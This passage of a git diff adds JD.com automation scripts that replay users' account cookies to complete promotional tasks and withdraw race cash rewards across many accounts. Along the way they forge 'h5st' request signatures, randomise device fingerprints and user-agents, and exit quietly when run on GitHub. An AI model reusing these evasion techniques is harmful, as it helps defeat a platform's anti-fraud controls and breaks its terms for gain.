'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_run_reward.ts b/jd_joy_run_reward.ts new file mode 100644 index 0000000..d8b129a --- /dev/null +++ b/jd_joy_run_reward.ts @@ -0,0 +1,88 @@ +/** +汪汪赛跑-提现10元 +2 0 0 * * 5 jd_joy_run_reward.ts +new Env('汪汪赛跑提现') +Modify By Dylan from HW +updateTime:2022-07-09 +**/ + +import {get, post, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + rewardAmount = res.data.rewardAmount + if (res.data.runningCashStatus.currentEndTime && res.data.runningCashStatus.status === 0) { + console.log('可提现', rewardAmount) + res = await api('runningPrizeDraw', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "type": 2, "level": 3}) + await wait(2000) + if (res.success){ + console.log(res.data.message) + } else { + console.log('提现失败:', res.errMsg) + } + }else{ + console.log('还未到提现时间') + } + } catch (e) { + console.log('Error', e) + await wait(1000) + } + } +})() + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} diff --git a/jd_joyjd_open.js b/jd_joyjd_open.js new file mode 100644 index 0000000..555c374 --- /dev/null +++ b/jd_joyjd_open.js @@ -0,0 +1,324 @@ +if (!["card","car"].includes(process.env.FS_LEVEL)) { + console.log("请设置通用加购/开卡环境变量FS_LEVEL为\"car\"(或\"card\"开卡+加购)来运行加购脚本") + return +} +/* +#jd_joyjd_open通用ID任务,多个活动用@连接,任务连接https://jdjoy.jd.com/module/task/v2/doTask +export comm_activityIDList="af2b3d56e22d43afa0c50622c45ca2a3" +export comm_endTimeList="1639756800000" +export comm_tasknameList="京东工业品抽奖" + +即时任务,无需cron,短期或者长期请参考活动规则设置cron +*/ +const $ = new Env('jd_joyjd_open通用ID任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +let activityIDList = ''; +let endTimeList = ''; +let tasknameList = ''; +let activityIDArr = []; +let endTimeArr = []; +let tasknameArr = []; +let activityID = '', endTime = '', taskname = ''; +$.UA = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.comm_activityIDList) activityIDList = process.env.comm_activityIDList + if (process.env.comm_endTimeList) endTimeList = process.env.comm_endTimeList + if (process.env.comm_tasknameList) tasknameList = process.env.comm_tasknameList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (!activityIDList) { + $.log(`没有通用ID任务,尝试获取远程`); + let data = await getData("https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/joyjd_open.json") + if (!data) { + data = await getData("https://raw.fastgit.org/Ca11back/scf-experiment/master/json/joyjd_open.json") + } + if (data.activityIDList && data.activityIDList.length) { + $.log(`获取到远程且有数据`); + activityIDList = data.activityIDList.join('@') + endTimeList = data.endTimeList.join('@') + tasknameList = data.tasknameList.join('@') + }else{ + $.log(`获取失败或当前无远程数据`); + return + } + } + console.log(`通用ID任务就位,准备开始薅豆`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + await getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.oldcookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let activityIDArr = activityIDList.split("@"); + let endTimeArr = endTimeList.split("@"); + let tasknameArr = tasknameList.split("@"); + for (let j = 0; j < activityIDArr.length; j++) { + activityID = activityIDArr[j] + endTime = endTimeArr[j] + taskname = tasknameArr[j] + $.fp = randomString(); + $.eid = randomString(90).toUpperCase(); + console.log(`通用活动任务ID:${activityID},结束时间:${endTime},活动名称:${taskname}`); + if($.endTime && Date.now() > $.endTime){ + console.log(`活动已结束\n`); + continue; + } + await main(); + await $.wait(2000); + console.log('\n') + } + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +function getData(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} + +async function main() { + $.mainTime = 0; + do { + $.runTime = 0; + do { + $.activity = {}; + $.dailyTaskList = [] + $.moduleBaseInfo = {} + await getActivity(); + await $.wait(2000); + if(JSON.stringify($.activity) === '{}'){ + console.log(`获取列表失败:${activityID},重新获取`); + } + $.runTime++; + await $.wait(2000); + }while (JSON.stringify($.activity) === '{}' && $.runTime < 10); + console.log(`任务列表:${activityID},获取成功`); + $.moduleBaseInfo = $.activity.moduleBaseInfo; + $.dailyTaskList = $.activity.dailyTask.taskList; + if($.moduleBaseInfo.rewardStatus === 1){ + console.log(`领取最后奖励`); + await getReward(); + } + await $.wait(1000); + $.runFlag = false; + for (let i = 0; i < $.dailyTaskList.length; i++) { + $.oneTask = $.dailyTaskList[i]; + if($.oneTask.taskCount === $.oneTask.finishCount){ + console.log(`groupType:${$.oneTask.groupType},已完成`); + continue; + } + console.log(`groupType:${$.oneTask.groupType},已完成:${$.oneTask.finishCount}次,需要完成:${$.oneTask.taskCount}次`); + $.item = $.oneTask.item; + let viewTime = $.oneTask.viewTime || 3; + console.log(`浏览:${$.item.itemName},等待${viewTime}秒`); + await $.wait( viewTime* 1000); + await $.wait( 1000); + await doTask(); + $.runFlag = true; + break; + } + $.mainTime++; + }while ($.runFlag && $.mainTime < 40); +} + +async function getReward(){ + const url = `https://jdjoy.jd.com/module/task/v2/getReward`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://prodev.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type' : `application/json;charset=utf-8`, + 'Host' : `jdjoy.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Accept-Language' : `zh-cn` + }; + const body = `{"groupType":5,"configCode":"${$.moduleBaseInfo.configCode}","itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`; + + const myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + console.log(data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function doTask(){ + const url = `https://jdjoy.jd.com/module/task/v2/doTask`; + const method = `POST`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'Origin' : `https://prodev.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type' : `application/json;charset=utf-8`, + 'Host' : `jdjoy.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Accept-Language' : `zh-cn` + }; + const body = `{"groupType":${$.oneTask.groupType},"configCode":"${$.moduleBaseInfo.configCode}","itemId":"${$.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`; + + const myRequest = {url: url, method: method, headers: headers, body: body}; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + console.log(data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getActivity(){ + const url = `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${activityID}&eid=${$.eid}&fp=${$.fp}`; + const headers = { + 'Accept' : `application/json, text/plain, */*`, + 'content-type':'application/json;charset=utf-8', + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Accept-Encoding' : `gzip, deflate, br`, + 'User-Agent' : $.UA, + 'Referer' : `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + 'Host' : `jdjoy.jd.com`, + 'Accept-Language' : `zh-cn`, + 'Connection' : `keep-alive`, + }; + + const myRequest = {url: url, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if(data && data.data && data.data.moduleBaseInfo && data.data.dailyTask){ + $.activity = data.data; + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new 